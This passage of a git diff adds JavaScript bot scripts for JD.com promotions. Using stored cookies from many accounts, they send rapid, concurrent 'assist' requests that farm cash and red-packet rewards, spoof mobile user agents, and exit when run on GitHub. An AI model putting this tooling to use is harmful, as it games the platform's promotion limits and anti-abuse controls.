? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/backUp/jd_angryCash.js b/backUp/jd_angryCash.js new file mode 100644 index 0000000..a22c412 --- /dev/null +++ b/backUp/jd_angryCash.js @@ -0,0 +1,508 @@ +/* +愤怒的现金 +更新时间:2021-7-13 +备注:极速助力,打击黑产盗取现金的犯罪行为。默认向前助力9个账号,若要指定被助力账号,需cashHelpPins环境变量中填入需要助力的pt_pin,有多个请用@符号连接。 +0 0 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_angryCash.js +*/ +const $ = new Env("愤怒的现金") +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let cookiesArr = [] +var pins = process.env.cashHelpPins ?? "" +var helps = []; +var tools = []; +!(async () => { + await requireConfig() + len = cookiesArr.length + if(!pins){ + console.log("未设置环境变量cashHelpPins,默认助力前9个账号") + } + for (let i = 0; i < len; i++) { + cookie = cookiesArr[i]; + pin = cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + if((!pins && i<9) || (pins && pins.indexOf(pin)!=-1)){ + data = await requestApi("cash_mob_home", cookie) + inviteCode = data?.data?.result?.inviteCode + if (inviteCode) { + shareDate = data?.data?.result?.shareDate + helps.push({inviteCode: inviteCode, key: i}) + tools.push({success: 0, shareDate:"", cookie: cookie, key: i, shareDate: shareDate}) + } + } else { + tools.push({success: 0, shareDate:"", cookie: cookie, key: i}) + } + } + while(tools.length>0 && helps.length>0) { + var tool = tools.pop() + var cookie = tool.cookie + if(!tool.shareDate){ + requestApi("cash_mob_home", cookie, {}, tool).then(function(data){ + var tool = data.tool + if(data.code === undefined){ + tools.unshift(tool) + return + } + shareDate = data?.data?.result?.shareDate + if(!shareDate){ + return + } + tool.shareDate = shareDate + help(tool) + }) + }else{ + help(tool) + } + await $.wait(20) + } + await $.wait(10000) + +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function help(tool){ + var cookie = tool.cookie + var inviteCode = helps[0].inviteCode + var key = helps[0].key + requestApi("cash_mob_assist", cookie, { + source: 3, + inviteCode: inviteCode, + shareDate: tool.shareDate + }).then(function(data){ + console.log(`${tool.key+1}->${key+1}`,data?.data?.bizMsg) + switch (data?.data?.bizCode) { + case 0: //助力成功 + tool.success++ + break; + case 210: //您无法为自己助力哦~ + if(tools.length==0){ + console.log("跳出循环") + tool.success = 3 + } + break; + case 188: //活动太火爆啦\n看看其他活动吧~' + tool.success = 3 + break + case 206: //今日已为Ta助力过啦~ + break; + case 207: //啊哦~今日助力次数用完啦 + tool.success = 3 + break + case 208: //您来晚啦,您的好友已经领到全部奖励了 + if(helps[0]?.inviteCode==inviteCode)helps.shift() + break; + case 106: //你点击的太快啦\n请稍后尝试~ + break; + default: + console.log("异常", data) + tool.success = 3 + break; + } + if(tool.success<3){ + tools.unshift(tool) + } + }) +} + +function requestApi(functionId, cookie, body = {}, tool) { + return new Promise(resolve => { + $.post({ + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&appid=CashRewardMiniH5Env&appid=9.1.0`, + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': ua, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + }, + }, (_, resp, data) => { + try { + data = JSON.parse(data) + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + if(tool){ + data.tool = tool + } + resolve(data) + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch (e) { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch (e) { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s-10} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/backUp/jd_angryKoi.js b/backUp/jd_angryKoi.js new file mode 100644 index 0000000..85768f5 --- /dev/null +++ b/backUp/jd_angryKoi.js @@ -0,0 +1,474 @@ +/* +愤怒的锦鲤 +更新时间:2021-7-11 +备注:高速并发请求,专治偷助力。在kois环境变量中填入需要助力的pt_pin,有多个请用@符号连接 +TG学习交流群:https://t.me/cdles +5 0 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_angryKoi.js +*/ +const $ = new Env("愤怒的锦鲤") +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +var kois = process.env.kois ?? "" +let cookiesArr = [] +var helps = []; +var tools= [] +!(async () => { + if(!kois){ + console.log("请在环境变量中填写需要助力的账号") + } + requireConfig() + for (let i in cookiesArr) { + cookie = cookiesArr[i] + if(kois.indexOf(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])!=-1){ + var data = await requestApi('h5launch',cookie); + switch (data?.data?.result?.status) { + case 1://火爆 + continue; + case 2://已经发起过 + break; + default: + if(data?.data?.result?.redPacketId){ + helps.push({redPacketId: data.data.result.redPacketId, success: false, id: i, cookie: cookie}) + } + continue; + } + data = await requestApi('h5activityIndex',cookie); + switch (data?.data?.code) { + case 20002://已达拆红包数量限制 + break; + case 10002://活动正在进行,火爆号 + break; + case 20001://红包活动正在进行,可拆 + helps.push({redPacketId: data.data.result.redpacketInfo.id, success: false, id: i, cookie: cookie}) + break; + default: + break; + } + } + tools.push({id: i, cookie: cookie}) + } + for(let help of helps){ + open(help) + } + await $.wait(60000) +})() .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function open(help){ + var tool = tools.pop() + if(!tool)return + if(help.success)return + requestApi('jinli_h5assist', tool.cookie, { + "redPacketId": help.redPacketId + }).then(function(data){ + desc = data?.data?.result?.statusDesc + if (desc && desc.indexOf("助力已满") != -1) { + tools.unshift(tool) + help.success=true + } else if (!data) { + tools.unshift(tool) + } + console.log(`${tool.id}->${help.id}`, desc) + open(help) + }) +} + +function requestApi(functionId, cookie, body = {}) { + return new Promise(resolve => { + $.post({ + url: `${JD_API_HOST}/api?appid=jd_mp_h5&functionId=${functionId}&loginType=2&client=jd_mp_h5&clientVersion=10.0.5&osVersion=AndroidOS&d_brand=Xiaomi&d_model=Xiaomi`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", + 'Content-Type': 'application/x-www-form-urlencoded', + "X-Requested-With": "com.jingdong.app.mall", + "User-Agent": ua, + }, + body: `body=${escape(JSON.stringify(body))}`, + }, (_, resp, data) => { + try { + data = JSON.parse(data) + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch (e) { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch (e) { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/backUp/jd_anjia.js b/backUp/jd_anjia.js new file mode 100644 index 0000000..37f38d4 --- /dev/null +++ b/backUp/jd_anjia.js @@ -0,0 +1,517 @@ +/* +欢迎关注 +https://t.me/aaron_scriptsG +https://t.me/jdscrip +*/ +const $ = new Env("安佳"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 